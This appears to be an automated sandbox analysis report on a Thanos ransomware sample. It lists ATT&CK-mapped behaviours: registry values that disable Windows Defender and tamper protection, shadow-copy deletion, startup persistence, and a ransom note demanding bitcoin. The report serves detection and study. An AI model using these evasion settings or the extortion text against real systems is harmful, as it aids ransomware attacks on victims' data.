thanos | hxxps://github[.]com/kh4sh3i/Ransomware-Samples

Analysis

max time kernel
349s
max time network
313s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17/11/2024, 13:45

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/kh4sh3i/Ransomware-Samples

Score

10^/10

thanos defense_evasion discovery evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Contains code to disable Windows Defender 2 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral1/files/0x0005000000000713-387.dat	disable_win_def
behavioral1/memory/2540-389-0x0000000000A70000-0x0000000000A8A000-memory.dmp	disable_win_def

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	2377dbwhA727bebt7ezrwt7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	2377dbwhA727bebt7ezrwt7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	2377dbwhA727bebt7ezrwt7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	2377dbwhA727bebt7ezrwt7.exe

Thanos Ransomware
Ransomware-as-a-service (RaaS) sold through underground forums.
ransomware thanos

Thanos executable 1 IoCs

resource	yara_rule
behavioral1/files/0x0005000000000713-387.dat	family_thanos_ransomware

Thanos family
thanos
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (52) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Blocklisted process makes network request 3 IoCs

flow	pid	Process
89	5972	mshta.exe
92	5972	mshta.exe
94	2556	mshta.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	2377dbwhA727bebt7ezrwt7.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	2377dbwhA727bebt7ezrwt7.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE

Executes dropped EXE 2 IoCs

pid	Process
2540	2377dbwhA727bebt7ezrwt7.exe
6112	2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE

Windows security modification 2 TTPs 1 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	2377dbwhA727bebt7ezrwt7.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5468	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
86	raw.githubusercontent.com
28	raw.githubusercontent.com
29	raw.githubusercontent.com
57	raw.githubusercontent.com
80	raw.githubusercontent.com
81	raw.githubusercontent.com

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "Information..."	2377dbwhA727bebt7ezrwt7.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "Your Files are Encrypted.\r\n\r\nDon’t worry, you can return all your files!\r\n\r\nYou've got 48 hours(2 Days), before you lost your files forever.\r\nI will treat you good if you treat me good too.\r\n\r\nThe Price to get all things to the normal : 20,000$\r\nMy BTC Wallet ID :\r\n1F6sq8YvftTfuE4QcYxfK8s5XFUUHC7sD9\r\n\r\nContact :\r\[email protected]\r\n"	2377dbwhA727bebt7ezrwt7.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4768	sc.exe
3348	sc.exe
4432	sc.exe
3352	sc.exe
3428	sc.exe
4948	sc.exe
2172	sc.exe
4512	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fsutil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
380	cmd.exe
5364	PING.EXE
5764	cmd.exe
5852	PING.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Interacts with shadow copies 3 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3096	vssadmin.exe
4732	vssadmin.exe
4100	vssadmin.exe
1592	vssadmin.exe
4824	vssadmin.exe
4284	vssadmin.exe
2816	vssadmin.exe
4136	vssadmin.exe
2100	vssadmin.exe
2480	vssadmin.exe
5024	vssadmin.exe
4552	vssadmin.exe
5056	vssadmin.exe
1004	vssadmin.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
4440	taskkill.exe
2684	taskkill.exe
2260	taskkill.exe
1476	taskkill.exe
2060	taskkill.exe
4600	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133763247747343655"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	chrome.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
1696	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
5364	PING.EXE
5852	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4904	chrome.exe
4904	chrome.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
788	powershell.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
788	powershell.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
4904	chrome.exe
4904	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe
Token: SeShutdownPrivilege	4904	chrome.exe
Token: SeCreatePagefilePrivilege	4904	chrome.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4932	7zG.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe

Suspicious use of SendNotifyMessage 29 IoCs

pid	Process
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
4904	chrome.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe
2540	2377dbwhA727bebt7ezrwt7.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 3480	4904	chrome.exe	84
PID 4904 wrote to memory of 3480	4904	chrome.exe	84
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4896	4904	chrome.exe	85
PID 4904 wrote to memory of 4688	4904	chrome.exe	86
PID 4904 wrote to memory of 4688	4904	chrome.exe	86
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87
PID 4904 wrote to memory of 4008	4904	chrome.exe	87

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	2e7bx73r635634YXN2U92NXN9URN9Y8N3XRNY9.EXE

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/kh4sh3i/Ransomware-Samples
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa1fc0cc40,0x7ffa1fc0cc4c,0x7ffa1fc0cc58
  2⤵
  PID:3480
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1892,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1884 /prefetch:2
  2⤵
  PID:4896
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2040,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2164 /prefetch:3
  2⤵
  PID:4688
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2264,i,11388035454685092074,17425510288332417359,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2468 /prefetch:8
  2⤵
  PID:4008
- C:\Program Files\Google\Chrome\Application\chrome.exe
